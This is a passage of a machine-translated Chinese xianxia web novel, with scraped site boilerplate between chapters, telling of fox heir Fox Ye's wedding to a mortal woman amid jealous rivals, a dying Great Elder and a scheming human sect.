    And this time she also came for her own wedding, which always made Fox Ye have a bad feeling in her heart.


    For example, now, Fox Ye feels that the words of the fire rat patriarch princess are a little weird.


    But out of courtesy, he nodded and said with a smile: "That''s natural. If I don''t like it, how can I marry her?"


    "What about me? Does Brother Fox really dislike me?"


    The fire mouse patriarch princess said suddenly, and looked at Fox Ye with tears.


    These words were astonishing, not only Linghuye was surprised, but even the group of Fire Rat Clan elders behind him were a little dumbfounded.


    Who would have thought that the eldest princess would act so recklessly.


    This is to force Huye to speak out in public.


    But will Fox Night eat this set?


    really.


    I saw Hu Ye''s complexion gradually darkening, and she said coldly, "Miss Yaojing, I''m sorry, I have always treated you as my sister, so..."


    "Why?" Huo Yaojing asked with tears in her eyes.


    "There is no reason, I just don''t like it!" Hu Ye said straightforwardly.


    Huo Yaojing''s eyes showed a ruthless look, "Fox Ye, I''m a childhood sweetheart who grew up with you since I was a child. Isn''t this comparable to a mortal woman who doesn''t know where to jump out?"


    As soon as these words came out, Fox Ye''s face changed suddenly, and raging anger surged, directly stunning Huo Yaojing on the spot.


    With her strength, of course she couldn''t face the fury of the fairy king of Fox Ye.


    Therefore, at this moment, a look of horror appeared on her face, and her whole body was trembling.


    Seeing this, the fire rat clan elder behind him couldn''t help exclaiming: "Master Fox, be merciful!"


    Hearing these words, the turbulent coercion gradually faded, and then Hu Ye condensed the cold light in his eyes and said coldly.


    "Huo Yaojing, I want you to be careful when you speak. The so-called childhood sweetheart is just what you think, and if you let me hear that you are disrespectful to Rouer, then don''t blame me for being rude!"


    After that, Hu Ye turned around and left.


    Seeing his decisive back, Huo Yaojing''s pale face gradually turned red, and her eyes even more anger.


    "Princess, or you should go back first!" An elder of the Fire Rat tribe behind him sighed and persuaded him.


    "I don''t!" Huo Yaojing said bitterly, "The more he is like this, the less I will leave! I want to see what charm this human woman has that can make him so fascinated, even for the sake of it. She yelled at me!"


    Huo Yaojing became more excited as she spoke, and even roared hysterically behind her.


    And her roar also attracted many demons passing by.


    When they saw the fire rat tribe, all the monster tribes showed a strange look, and then they whispered.


    "Hey, isn''t this from the Fire Rat tribe? That woman should be the eldest princess of the Fire Rat tribe! Tsk tsk, she is here too! Why? Could it be that she came to the wedding too?" A demon tribe gloated.


    "Didn''t you hear that she was yelling just now? It can be seen that this woman was obviously stimulated."


    "That''s right, I heard that this Huo Yaojing has been pursuing Young Master Fox frantically, but she didn''t expect that she would be fetched from a bamboo basket, and she was even compared with a human woman. It''s a bit unbearable for anyone to change!


    "The point is that the news came out too suddenly. There were no signs before. Suddenly I am going to get married, or I am going to be with a human woman. It sounds a bit weird."


    "Let me say that this human woman is definitely not an ordinary person, she must have an extremely deep background, otherwise, how could the elders of the Qingqiu Fox Country rather offend the Dragon Race and agree to this marriage?"


    "Hey, I forgot if you didn''t mention the dragon clan. Unlike this self-amorous Huo Yaojing, the second princess of the dragon clan is a serious fianc��e of Fox Night. Both parties even exchanged marriage letters. That''s right. Lord! Now that Qingqiu Fox Country suddenly does this, how can the Dragon Clan give up?"


    "Isn''t it said that there was news that the dragon princess was going to cancel this marriage contract?"


    "Fart Is it canceled as soon as it is canceled? Anyway, I heard that Princess Long Er firmly disagrees..."


    No matter where you go, no matter what race you are, it is a natural instinct to like gossip.


    This group of monsters is no exception, but just when they are talking about it in full swing.


    I saw a huge dragon boat suddenly descended into the void, and then a group of people walked off the dragon boat.


    The leader is the indifferent and cold-eyed Long Er Princess Ao Yi.


    After seeing her appearing, all the demon who were discussing were silent and looked at them with amazement.


    Even the angry Huo Yaojing took a step back with a guilty conscience after seeing Ao Yi and gave way.


    Ao Yi didn''t even look at the demons, but led a group of young and energetic dragon clan elites and left without squinting.


    The whole process was silent and silent, and coupled with that aggressive look of coldness, it was like a bunch of gangsters going to fight.

 Chapter 1860： The redder than the wedding dress is the womans cheek...

    And this scene also made the dragon elders and others who came down from the dragon boat a bitter smile.


    "The eldest princess said let us restrain her, but with the murderous look of the second princess, who dares to control?" a dragon elder said with a sad look.


    The Long Clan elder sighed lightly, "Let''s take a step and take a step. Although the second princess has a fiery temper, she should still have basic measures."


    With that said, these dragon elders hurried to catch up.


    After they left, the whole audience immediately started.


    "Fuck, it''s really lively now, and Princess Long Er has also arrived!"


    "Tsk tsk, this princess is not a fuel-efficient lamp, wait and see, this wedding will definitely not go so smoothly, you may make mistakes before it is held."


    The arrival of Ao Yi was like pouring a scoop of cold water in the hot oil, causing the already lively situation to boil instantly.


    Countless monsters are eagerly waiting, ready to watch this rare "lively".


    But to everyone''s expectation, nothing happened. Ao Yi didn''t directly go to Huye to settle the accounts. On the contrary, she actually stayed quietly, looking like she was about to attend the wedding.


    This scene surprised many people.


    What is this?


    Could it be said that the second dragon princess has changed sex?


    Even Huye was stunned after learning the news.


    What happened recently is beyond his imagination.


    First, the elder swiftly agreed to the marriage, and then Ao Yi, who was supposed to make a big fuss, went uncharacteristically.


    All this made him have a deep suspicion.


    "Old Xue, do you think the recent events are a bit weird?"


    "Weird? Where is it?"


    "I can''t tell, it just feels a bit wrong."


    Xue An patted him on the shoulder, and said earnestly, "Couldn''t your kid be so happy because he is about to marry a wife?"


    "roll!"


    Hu Ye smiled and cursed, then lowered his head and frowned, thinking about it.


    Strange, what is wrong?


    Could it be that I was transferred recently?


    When he was full of doubts, Xue An patted him on the shoulder again.


    "Oh, old Xue, don''t bother me, I''m thinking about something!" Hu Ye said impatiently.


    At this moment, a timid voice came.


    "Fox...Fox night."


    It''s Arou''s voice.


    Huye immediately looked up, and then was stunned.


    Because the one standing in front of him was Arou in a red wedding gown.


    And the one that was redder than the wedding dress was A Rou''s cheeks.


    She hung her head timidly, her hands kneading the corners of her dress unnaturally, and her body trembled slightly, and the crystal diamonds adorned with her wedding dress reflected the brilliance of brilliance.


    Fox night looked silly.


    Not only because of this wedding gown made by dozens of top craftsmen, but also because of Arou''s tens of thousands of styles when he bowed his head.


    It is no exaggeration to say that Ah Rou at this moment perfectly satisfies all the imagination of women in the eyes of Fox Ye.


    He watched with scorching eyes, and the more he saw A Rou''s head lowered, his face reddened, and his body trembled.


    In the end, she said very hard: "Okay...does it look good?"


    Hu Ye woke up in an instant, and then nodded like garlic, "It''s so beautiful, it''s so beautiful, and the giant is so beautiful!"


    Because of his excitement, Hu Ye was a little incoherent.


    A Rou glanced at Fox Ye with half anguish and half joy, her cheeks flushed and her lips lightly opened, "Fool!"


    Hu Ye laughed silly.


    Now he can only giggle.


    At this moment, the Weaver Girl who was in charge of making the wedding dress came over and said with a smile: "Master Fox, is this wedding dress satisfied?"


    "Satisfied! It is better than I expected."


    "Hey, in order to make the wedding gown as scheduled, I took a lot of effort to invite all my masters, so as not to delay your marriage, and at the same time to be perfect." This The famous Weaver Girl smiled and said.


    Hu Ye stretched out his thumb, "I didn''t say anything, I owe you a favor for this matter. If there is anything to use for me then, just speak!"


    The Weaver girl smiled brighter.


    Compared with material rewards, this promise from Fox Ye is the most precious.


    Because he is the heir of the dignified Qingqiu Fox Country, the top monster master.


    "It''s not just the bride''s wedding dress, but we have already prepared your dress. Go and try it!"


    "Good good!"


    The faint Fox Ye excitedly followed Zhi Nu down to change clothes.


    Only Arou is left here.


    Xue An gave a light cough and left.


    Although the relationship between him and Hu Ye is irreversible, A Rou is Hu Ye''s wife after all. Now that Hu Ye is not there, he has to avoid suspicion.


    But just when he was about to turn around and leave, Arou suddenly whispered: "Master Gulian, please stay."


    "Huh? Is there anything wrong with Girl Arou?" Xue An stopped.


    A Rou hesitated for a moment, and finally raised her head and said solemnly: "Master Honglian, are you hiding something from us?"


    "Why do you say that?"


    "Because this wedding was so rushed, it only took you a while to walk out after you entered the jade pagoda. And the great elder who should have stopped all this also promised to be extremely refreshing."


    Speaking of this, Arou bit her lip, "So... Is something wrong with the Great Elder?"


    Xue An was stunned.


    The ill-fated girl in front of her is usually not very eye-catching, but this time she guessed the truth in one word.


    It shows how clever she is.


    And Xue An''s silence also made A Rou''s guess in her heart confirmed, and her face couldn''t help showing worry.


    "Is it serious?"


    Xue An nodded, "Very serious."


    A Rou didn''t speak anymore. After a long time, she lowered her head, "Can Fox Ye accept it?"


    Xue An sighed softly, "I don''t know, but as the heir of the fox clan, he has to accept all this."


    A Rou nodded, "I understand, thank you!"


    After that, she turned and left.


    Xue An looked at her thin back and couldn''t help sighing again.


    "Fox night, this girl is much smarter than you think!"


    Just as he sighed for it, he suddenly felt a familiar throb.


    Xue An was startled slightly, and then a smile appeared on his face, and then raised his head to look at the void in the distance.


    Just at this moment, a few Guanghua rushed quickly, and came to Xue An almost in the blink of an eye.


    After landing, the leader was a terrible old man in a tattered robe.


    Then the bad old man laughed, "Brother Xue, I will rush here immediately after receiving the invitation, how about it? It''s not too late."


    Xue An also smiled, "Of course it''s not too late."


    Then Xue An looked at the woman behind Lao Dao and nodded slightly, "Miss Wei!"


    Wei Rulan blushed and hurriedly saluted, "My lord!"


    That''s right.


    The visitor is Zhuge Zang who is known as the first **** stick in the heavens.

 Chapter 1861： Ill kill anyone who dares to cause trouble!

    "Invincible, start novel cool notes from Daddy Xianzun ( Find the latest chapter!


    At the same time, there was a woman standing beside Wei Rulan.


    I saw that she also greeted Xue Anshen, "My lord!"


    Xue An was startled slightly, and then smiled, "It turned out to be Girl Xuanqing, I didn''t expect you to come too!"


    This woman was black-clothed and black-haired, slender and tall, with a black chess pouch one foot above her shoulders slanting behind her back. It was the Zhuge Xuanqing who had been seen in the Amaterasu Starfield a long time ago.


    After seeing Xue An''s smile, Zhuge Xuanqing was shocked, and then hurriedly lowered his head, not daring to look again.


    Because in her perception, the aura on Xue An''s body is as vague and unpredictable as a **** on the nine heavens, which makes people feel an urge to worship.


    Is this the power of the fairy king? Zhuge Xuanqing thought in her heart, and at the same time felt a touch of inexplicable sourness.


    When Xue An was in the Amphitheater Star Territory, although Xue An''s strength was tyrannical, she could at least see her back.


    Unexpectedly, in just a few years, Xue An has reached a point she can''t imagine.


    You must know that since the Apocalypse Star Territory left, she has always regarded Xue An as her target.


    But now this chasing has become a joke.


    Although she has successfully advanced to the half-step Daluo after unremitting efforts some time ago, this strength is still far from Xue Anlai.


    She seemed to be aware of her strangeness, Wei Rulan took advantage of Xue An and Zhuge Zang to talk in the distance, and whispered in her ear.


    "Sister, in fact, you are already pretty good, so don''t be discouraged, because even the master has said that there is a special existence in the heavens, and it is normal for you to be less than him."


    Zhuge Xuanqing smiled slightly and said softly: "You don''t need to say this, I know it, don''t worry, I am not discouraged."


    Wei Rulan nodded, "That''s good."


    at the same time.


    Zhuge Zang, who was talking to Xue An not far away, said solemnly: "Brother Xue, I didn''t intend to rush over in such a hurry after receiving the invitation, but something suddenly happened that changed my plan!"


    "Is it about the elder of the Qingqiu Fox Country?" Xue An said lightly.


    Zhuge Zang was shocked, and said in astonishment: "You all know?"


    "Of course! Otherwise, why do you think Fox Night''s wedding was so hasty?"


    "No wonder, does Fox Ye know?"


    Xue An shook his head, "I don''t know yet."


    "What? You haven''t told him yet?"


    "Is it useful to tell him?" Xue An asked back, "Since he can''t change it, let him get married with peace of mind. But you...how did you know?"


    Zhuge Zang sighed lightly: "After I received the invitation from Fox Night, I felt something was wrong, so I took a divination."


    "The hexagram is displayed?"


    Zhuge Zang nodded, and said solemnly: "In the beginning, I even thought that I had made a mistake, so I took up three hexagrams, and the result is the same. So I am sure that this is true."


    Xue An was silent.


    Zhuge Zang said worriedly: "Brother Xue, obviously I can''t hide this matter, because since I can figure it out, then other people will definitely be able to do it, then..."


    Zhuge Zang did not finish what he said later, but the meaning was already obvious.


    Generally speaking, for a strong immortal emperor like the elder of the Qingqiu Fox Country, all the deductions are invalid for him, because his existence itself has concealed the secret. Love me ebook


    Only when there is a major change, such as a serious injury and dying, this hidden secret will be revealed.


    Since Zhuge Zang was able to figure out that there was something wrong with the Great Elder Qingqiu, it meant that he had exhausted his energy and was unable to hide his weakness.


    Once this news spreads, it will be a blockbuster for the monster race and even the entire heavens.


    Zhuge Zang couldn''t even imagine how big the storm would be.


    Xue An was silent for a moment, and then said firmly: "This matter can''t be kept for long, so it''s not a big deal to spread it now."


    "And I''m taking care of this, because Fox Night''s wedding must be held. Whoever dares to cause trouble, I will kill anyone!"


    At the end, Xue An''s tone was full of murderous intent.


    Zhuge Zang was startled, and immediately nodded, "Okay, count me."


    Xue An glanced at him, "What? Is the injury better?"


    "Hehe, don''t underestimate this old bone of mine. It will be impossible to die for a while." Zhuge Zang said with a smile.


    "Understand, don''t good people live long and harm living for thousands of years!"


    The two were talking and laughing, but seeing the distance, Hu Ye led a group of people hurried over.


    As soon as he saw Zhuge Zang, Hu Ye couldn''t help being surprised. Before people arrived, he shouted: "Old Zhuge, you are finally here!"


    After speaking, he rushed to the front and punched Zhuge Zang on the shoulder.


    Zhuge Zang laughed, "Can I not come to your wedding? I''m set for this wedding wine."


    "It''s easy to talk, and it won''t be a problem to soak you in the wine tank by then." Hu Ye said overjoyed.


    Although the separation didn''t take long, Zhuge Zang came to attend his wedding specially this time, and the meaning was naturally quite different.


    In fact, Hu Ye wrote an invitation to Zhuge Zang alone, not because he had a bad relationship with Ye Hanshang and the others, but because the place they were in was so far away that they couldn''t make it in ten days.


    That is, the place where Zhuge Zang is located is relatively close to the Qingqiu Fox Country, and it can be reached in three days soon, so he sent an invitation to Zhuge Zang.


    Everyone talked and laughed and walked in.


    At the same time, in the void outside Qingqiu Fox Country, the space suddenly rippled, and then a group of people walked out of it.


    This team has men and women, and all of them have extraordinary momentum. The leader is a handsome man, but the corners of his eyes and brows are always a bit evil.


    He glanced at the Qingqiu Fox Country not far ahead, and said lightly: "Is this the nest of those foxes?"


    "That''s right, the former is the famous Qingqiu fox country! Tsk tsk, I feel a little excited when I think of those beautiful fox girls." A man smiled evilly.


    "Hehe, don''t worry, sooner or later, these fox girls are ours. Didn''t you see Young Master go out in person!" Another man in a crimson robe laughed.


    The young boy had a calm face, turned his head and looked at a young girl standing aside.


    "How is it? Junior sister Xiaoli can you see any clues?"


    The girl was wearing a gray preaching robe, with a large cloth pocket behind her back, and a delicate compass in her hand. She was engrossed in the Qingqiu Fox Country in the distance, muttering words in her mouth.


    After hearing Tian Shao''s question, Qi Liqing''s whole body shook slightly, her eyes flashed, and then he let out a sigh of relief and shook his head.


    "I don''t see any clues yet, because this whole piece of void energy is occupied by the Sansheng tree, and nothing can be seen at all. If you want to find out the result, you can only get close to it."


    Tian Shao nodded, "If that''s the case, let''s go to the wedding of this young fox country, and by the way, take a look at how this bride looks good."


    Everyone laughed loudly, and then they turned into streamers and headed straight for the Qingqiu Fox Country.


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 1866 who dares to cause trouble, I will kill whoever! (first update)) Read the record and you will see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1862： Tiandaozong

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    Although there are still a few days before the official wedding begins, the Qingqiu Fox Country at this moment is already a festive scene.


    Lanterns and festoons were everywhere, and even the huge Sansheng tree far away was carefully decorated.


    As the three elders of the fox country, Huwan is now responsible for receiving guests who came to congratulate him.


    This task can be described as onerous, because of the fame of the Qingqiu Fox Country, there are as many forces here as the crucian carp that crosses the river.


    This not only requires that the fox can remember the guests here, but also gives equal treatment according to the strength and status of the other party.


    This seems to be treated differently, but the guests here are used to it.


    Because among the heavens, it was originally based on strength to speak, let alone the demon race who advocated the weak and the strong.


    There are slightly fewer guests today, after all, almost everyone who can come has already come.


    If the distance is too far, because the time is too late, it is natural to give up.


    "I really don''t understand why the wedding is arranged so tightly." The fox murmured softly, touched his shoulder habitually, and then fell blank.


    Only then did she remember that her little fox had never known where he was abducted by the rune ball.


    "Oh, it''s really bigger and less worrying." Fox sighed with some disappointment.


    But at this moment, dozens of Huaguang flew across the sky unscrupulously, and then landed straight in front of the fox.


    Foxtail was taken aback for a moment, and then a look of anger appeared in his eyes.


    You must know that the planet she is currently on is the core of the Qingqiu Fox Country. No matter where the monster race is, she has to fall down obediently and dare not fly in the air.


    This is also a kind of respect for the Qingqiu Fox Country.


    But now these guys flew directly in front of him arrogantly, how could this not make Huwan angry.


    Those who came were naturally the group headed by Tian Shao.


    He raised his eyebrows slightly after seeing the fox, "Tsk, what a beautiful vixen."


    As soon as this sentence came out, the fox could not help being furious.


    "Boy, what are you talking about?"


    "Oh, nothing, just praise you for being beautiful!" The young boy smiled slightly, then raised his chin.


    Someone came up behind him and handed a greeting note.


    "Tian Haoyan, the first major disciple of the Tiandao Sect, congratulations."


    The voice spread far away, not only the foxtail, but also the monster races present were taken aback.


    Tiandaozong!


    The name alone represents a lot.


    Because it is the most famous sect among the human races, the real starry sky great religion.


    And the first big disciple means that this Tianhao Yan is the first person in the young generation of Tiandaozong, otherwise it is impossible to take Tian as the surname.


    This identity, even the three elder fox stalks must show respect.


    In particular, the other party clearly said that it was here to congratulate him, so the fox can only suppress the anger in his heart and bow his hand.


    "It turned out to be the young master of Tiandaozong, disrespectful."


    Tian Hao Yan laughed, "You don''t have to be polite, after all, we came a little bit abruptly."


    Then the people behind him also began to sign up.


    "The chief heir of Shuanglongshe came to congratulate."


    "Yun Yanfeng came to congratulate."


    "..."


    The voices one after another, the demons became more and more shocked.


    Those who came were all resounding sects among the human races, although they were not as good as the Heavenly Dao Sect, they were considered to be a great sect. Jiuhe Shuyuan


    A hint of doubt arose in Fox''s heart.


    Qingqiu Fox Country upholds neutrality and has a good relationship with the many sects of the human race. However, Fox Ye��s wedding did not disturb many people because of the rush of time.


    How did Tian Hao Yan and others know?


    This incident... seems to reveal some strangeness.


    But anyway, Tian Haoyan and the others were indeed here to congratulate, so she could only serve them well.


    Soon, a fox clan led Tian Haoyan and others to a place dedicated to VIPs.


    After the fox clan retreated, Tian Haoyan asked in a deep voice, "Junior Sister Xili, are there any clues now?"


    Xi Liqing closed her eyes, and there were six coins dancing quickly between her slender fingers, but she opened her eyes soon.


    "It still doesn''t work. The aura of the Sansheng Tree is so terrifying that it can''t detect any clues at all."


    Tian Haoyan sneered, "The more you do this, the more doubtful it is. Don''t worry, since it''s here, wait until the wedding."


    Xiao Liqing nodded.


    And a man on the side smiled strangely at this moment: "My god, that little lady looks really good just now, I''ll reward her to me at that time."


    "Do you still like it when you are so old?" Tian Hao Yan said with a smile.


    "You don''t understand, the more it is like this, the more it tastes!"


    After all, many men roared and laughed, and the laughter was full of evil.


    Qi Liqing didn''t feel anything, but walked to the window, looked at the towering Sansheng tree far away, and muttered something.


    "The Qi machine is obscure, but there is a faint murderous intent hidden inside. What is going on?"


    at the same time.


    Huye couldn''t help being stunned after hearing the reply from Huwan.


    "Tian Daozong?"


    "Yes, there are many other human clan sects, all come to congratulate."


    "Strange, I don''t have much friendship with these people!" Some Zhang Er monks in Hu Ye were confused.


    Xue An and Zhuge Zang on the side looked at each other.


    Then Xue An said: "Okay, no matter why they are here, since they are here, they are the guests. Naturally, we should treat them well, what do you think?"


    Hu Ye didn''t hear the meaning of Xue An''s words, but just nodded and said: "Yes, since it''s here, please treat me well."


    Until Hu Ye left, Zhuge Zang said solemnly: "I know this Tianhao Yan, known as the most powerful genius since the founding of the Tiandao Sect, and I heard that he has reached half a step into the fairy king a few years ago. Circumstances, he is definitely not that simple here."


    "Of course it''s not that simple, but they came just right." At this point, Xue An sneered, her eyes flashing cold.


    "Because Tiandaozong and I have yet to settle an account!"


    In the dragon residence.


    The elder said very solemnly: "Second princess, there seems to be something wrong with this matter!"


    "What''s wrong?"


    "It can''t be said, but it''s just wrong How come the human sects of Tiandaozong suddenly come to attend the wedding of the demon race? As far as I know, Fox Night has nothing to do with them."


    Ao Yi didn''t speak anymore, because she also noticed the strange atmosphere.


    The dragon elder was pacing back and forth in the room, his expression becoming more solemn, "There is indeed something wrong, otherwise, why does this old fox from Qingqiu Fox Country keep refusing to show up?"


    Ao Yi said indifferently at this moment, "Well, whether it''s right or wrong, since it''s here, let''s see the end."


    A strange atmosphere began to spread, and many astute monster races had noticed something was wrong.


    The courageous even began to quietly retreat, but most of the monster race still didn''t notice anything.


    In this atmosphere, the time of Fox Night''s wedding finally arrived.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 1867 Tiandaozong (second more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1863： Fox nights wedding

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    "How? Is your husband handsome?" Hu Ye asked Arou triumphantly, wearing a moon-white robe.


    A Rou smiled and nodded, then stretched out her hand to fix the bow tie for Fox Night.


    Fox Yeyi grasped A Rou''s hand, "Hey, after today, the whole world will know that you are my woman, how about? Are you happy?"


    A Rou''s cheeks flushed, she turned her head and nodded slightly, "Happy."


    "How happy are you?" Hu Ye stretched his face over and asked in a humble manner.


    A Rou gave him a white look, "Do you want to know that?"


    Huye nodded, "Of course I want to know."


    "But I won''t tell you." A Rou was happily like a bear kid who succeeded in pranking.


    "Okay, dare to play with me and see how I can clean you up."


    Just as the two were laughing, suddenly there was a knock on the door.


    Then An Yan and Hu Ying walked in.


    "Okay, are you almost ready? Come out now, everyone is waiting for you!" An Yan said with a smile.


    A Rou blushed, but Hu Ye didn''t notice anything, and nodded at Anyan with a carefree gesture.


    "Good sister-in-law, we will go out soon."


    At this moment, the outside wedding scene was also very lively, and people from all the big monster races had already attended.


    Xue An and Zhuge Zang stood on a high platform, overlooking the scene below.


    "There are a lot of people here," Zhuge Zang said.


    Xue An smiled, "Qingqiu Fox Country is one of the best among the monster clan after all, and it is normal for more people to come."


    While he was speaking, he saw a sudden tumult at the entrance, and then saw Tian Haoyan lead a group of menacingly entering.


    Compared with the demons in the Mandala Hall, their human faces are very eye-catching.


    All the demon races looked around, but Tian Hao Yan looked indifferent and sat straight on the seat arranged for himself and others.


    They have been nestled in the resident for the past few days, and it was not until today that the wedding started that they were seen for the first time.


    Looking at the various monster races in the hall, a man sneered in a low voice: "A group of demons, I really don''t understand, why don''t our human races punish all these guys?"


    Tian Hao Yan smiled when he heard the words, "Brother Ssangyong, your temper is too violent. If so many monster races are killed, then where are we people going to have fun?"


    "Shao Tian is right, shit, these fox girls are so pretty!"


    Among the crowd, only Qi Liqing did not say anything, but kept scanning the crowd.


    In the past few days, she has been exposed to the atmosphere many times, but without exception, there is always a faint murderous intent in the aura.


    This makes her puzzled, especially now, the ominous premonition in her heart is getting stronger.


    So she was sitting on pins and needles, looking around, trying to find the source of her anxiety.


    And when she was watching everyone, Xue An and Zhuge Zang were also watching her.


    "Huh." Zhuge Zang let out a surprise.


    "What''s the matter?" Xue An said lightly.


    "It''s nothing, just a little surprised. This girl is actually a descendant of the Qili family, it''s really rare."


    "The Aili family?" Xue An was taken aback.


    "That''s right." Zhuge Zang slowly said: "There are several major schools in Shushu. What I use is the Yishu deduction of Lianshan and Terma, while the Chili family follows the path of contempt. There is a blue bird scripture handed down from ancient times in the family, which is very mysterious."


    "However, due to various reasons, a member of the Chili family has not appeared in the world for a long time. It is really rare to meet his descendants today!"


    Xue An said indifferently: "In other words, she should have also detected the affairs of the elder?"


    Zhuge Zang nodded, "It should be like this, because with the strength of the Qili family, it is not difficult to do this," Fate Novel


    Tian Hao Yan also noticed the strangeness of Qi Liqing at this time, and couldn''t help asking: "Junior Sister Qili, what''s wrong?"


    Qi Liqing''s complexion was a little ugly, "It''s nothing, it''s just a faint ominous premonition."


    "Ominous premonition? Haha, one day, who would dare to make a mistake here?"


    "Yes, the sky is so young that it is not handed down from the world. Among the heavens, it is rare to meet opponents. Even if there are those who do not open their eyes, they are seeking death."


    Tian Shaozhi listened triumphantly.


    He likes this feeling very much, and that''s why he will bring a bunch of punk friends wherever he goes.


    Qi Liqing didn''t say anything, but the haze in her heart grew thicker.


    At this moment, there was a burst of cheers like a tsunami in the hall, because in the front entrance, Hu Ye slowly walked out holding A Rou''s hand.


    There is a long red carpet on the ground, and Hu Ye and A Rou are walking on it.


    And beside them, there are two little girls like pink jade, sprinkling flowers while walking.


    It is these two little girls who think and miss.


    They are obviously very satisfied with their new job and are walking with a smile.


    This harmonious and gentle scene brought the atmosphere of the audience to a climax.


    The fox lobster, the fox punishment, and many fox elders stood watching from a distance.


    A ray of tears appeared in Fox''s eyes, and he sighed softly, "I didn''t expect that this little guy, Fox Ye, would marry so soon."


    Fox Punishment also has a gentle expression on his face, "Yes, time flies so fast, it seems that yesterday he was the little fox who was naughty and beaten all day long."


    But not everyone looked at it warmly.


    For example, Huo Yaojing, the eldest princess of the Fire Rat tribe, almost bursting into flames in her eyes at this moment, staring at A Rou, her mouth even more hateful.


    "It''s really just an ordinary mortal woman, is Huye crazy? Is there anything I can''t compare to her?"


    Not only her, but many other monster races also looked at them with surprise.


    A mortal woman who hadn''t even the slightest fluctuation in her cultivation level actually became the wife of the young master of the Qingqiu Fox Country, which naturally made many demons surprised by it.


    But soon, the expressions they looked at A Rou gradually became disdainful.


    The demon race has always believed in the four words of the weak eating the strong, and Arou''s performance is naturally not enough to convince many demon races.


    In this chaotic situation, Hu Ye and A Rouye have already reached the high platform.


    Here is a chair, and in front of the chair is a worship pad.


    Huye and A Rou stood in front of the pad and waited quietly.


    The audience then quieted down.


    Time passed by every minute and every second.


    But nothing has changed.


    Soon the scene of a cup of tea passed.


    The crowd became a little commotion, and many demons began to whisper.


    "What''s the matter? Why haven''t you started?"


    "Maybe you are waiting for someone!"


    Tian Hao Yan looked at this scene on the high platform with a sneer.


    Just as the noise in the hall gradually increased, a figure suddenly began to appear on the seat.


    When he appeared in front of everyone.


    Headed by fox lobsters, many fox families bowed together.


    "Great Elder!"


    In order to facilitate the next reading, you can click on the "Collection" below to record the reading record of this time (Chapter 1868 Fox Night''s Wedding (third update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1864： teach

    "Invincible, start novel cool notes from Daddy Xianzun ( Find the latest chapter!


    The noisy hall was instantly quiet.


    All eyes were focused on the great elder who has been in charge of the Qingqiu fox country for thousands of years and is respected as the first person of the demon clan after his death.


    There are surprises and joys in these eyes, but more awe.


    After all, this is an existence standing on top of millions of people.


    But there are also many people who have faintness in their eyes.


    For example, the young man of the Tiandao Sect, Tian Hao Yan, staring at the back of the great elder with a cold face, a hint of greed and cruelty appeared in his eyes.


    "How is it? Can you see some clues now?" Tian Haoyan asked Qi Liqing who was aside coldly.


    Qi Liqing did not answer his words, because at this moment, her pupils in her eyes were enlarged, and there seemed to be countless mysterious symbols being deduced, and her mouth was even more uttering.


    at last.


    She trembled all over, opened her mouth and spit out a small mouthful of blood, then panted violently, and said in a deep voice.


    "Yes, he has indeed entered the realm of five decays of heaven and man, and even the way of heaven is madly expelling him. The reason why he can still appear normally now is completely supported by the help of this three-life tree."


    "In other words..."


    "That means he may not even survive today."


    A smile of joy appeared on Tian Hao Yan''s face, "Very well, Junior Sister Xili, I must thank you again after this matter is completed."


    "I don''t need to thank you again. I just hope that Young Master Tian and Tian Daozong can fulfill their promises to my Aili family." Qiliqing said palely.


    at the same time.


    Without noticing any strangeness, Hu Ye took A Rou''s hand and knelt directly on the worship mat, bowed three grand salutes, then raised his head and said respectfully.


    "Great Elder."


    The elder nodded with a smile on his face, and then whispered: "Yes, there is a saying in the human race called a family and a career. Although you are a monster, this sentence also applies to you. You can''t be unruly in the future, understand? "


    A touch of shame appeared on Hu Ye''s face, and Zheng nodded his head and said, "Hu Ye understands."


    Then the elder looked at A Rou who was aside.


    At this moment, A Rou, dressed in red like a fire, set off her face more refined and refined.


    The great elder couldn''t help showing a hint of approval in secret, "Arou girl, after marrying Fox Ye, you will take on the pressure and responsibility that ordinary people can''t imagine, are you willing?"


    A Rou did not hesitate, and said in a gentle but firm voice: "I am willing."


    As soon as this sentence came out, the teacup in front of Huo Yaojing, the elder princess of the Fire Mouse clan, was directly exploded into powder, and then her face was blue and her eyelids were beating frantically, she was almost mad.


    In the dragon camp on the other side, Long Er Princess Ao Yi is much calmer, even if she is the nominal fianc��e of Fox Ye, she still has no expression when facing this scene.


    This also disappointed many Yaozu who were preparing to watch the excitement.


    At this time, the elder nodded approvingly, "Very well, since you are married to Fox Night, you are now a member of my Qingqiu Fox Country. I will give you a gift today."


    After all, the elder took out a brocade box from his arms, stretched out his hand and handed it to A Rou.


    A Rou took it in a daze, but didn''t open it.


    Instead, the elder chuckled lightly: "Open it and take a look."


    A Rou opened the brocade box, which was a deep blue feather.


    This feather is green all over, and there seems to be water and light flowing in it.


    A Rou was stunned.


    What does it mean? Why give yourself a feather?


    The elder said softly: "Take it away, remember to wear it with you, because you will use this thing soon."


    Although A Rou was puzzled, she still carefully put away the brocade box. Fiction house


    Then the elder turned his head to look at the fox night on the side, smiled slightly, raised his hand and called: "Come here."


    Fox Ye didn''t know, so he simply knelt and crawled over, bowing his head respectfully and saying, "Elder."


    But his voice just fell off, but he saw the great elder suddenly point on his forehead.


    Hu Ye was shocked, and just about to speak, the voice of the great elder came in his mind.


    "Don''t speak, hold Yuan Shouichi, and try your best to absorb what I instilled in you."


    When the words fell, a surging divine thought came straight to the sea of ??knowledge of Fox Night.


    Fox Ye''s heart was shocked, but he subconsciously absorbed these things in accordance with the instructions of the great elder.


    Almost in the blink of an eye, Hu Ye received almost massive amounts of information abruptly, and in the end, even with his Immortal King''s consciousness, he was somewhat incapable.


    Fox Ye''s eyes became confused, because there was so much information, almost containing all the knowledge and experience of the great elder for thousands of years.


    But soon, there was a trace of comprehension in his eyes, and then he opened his mouth in shock, just about to speak.


    The great elder smiled tiredly, then shook his head gently at him.


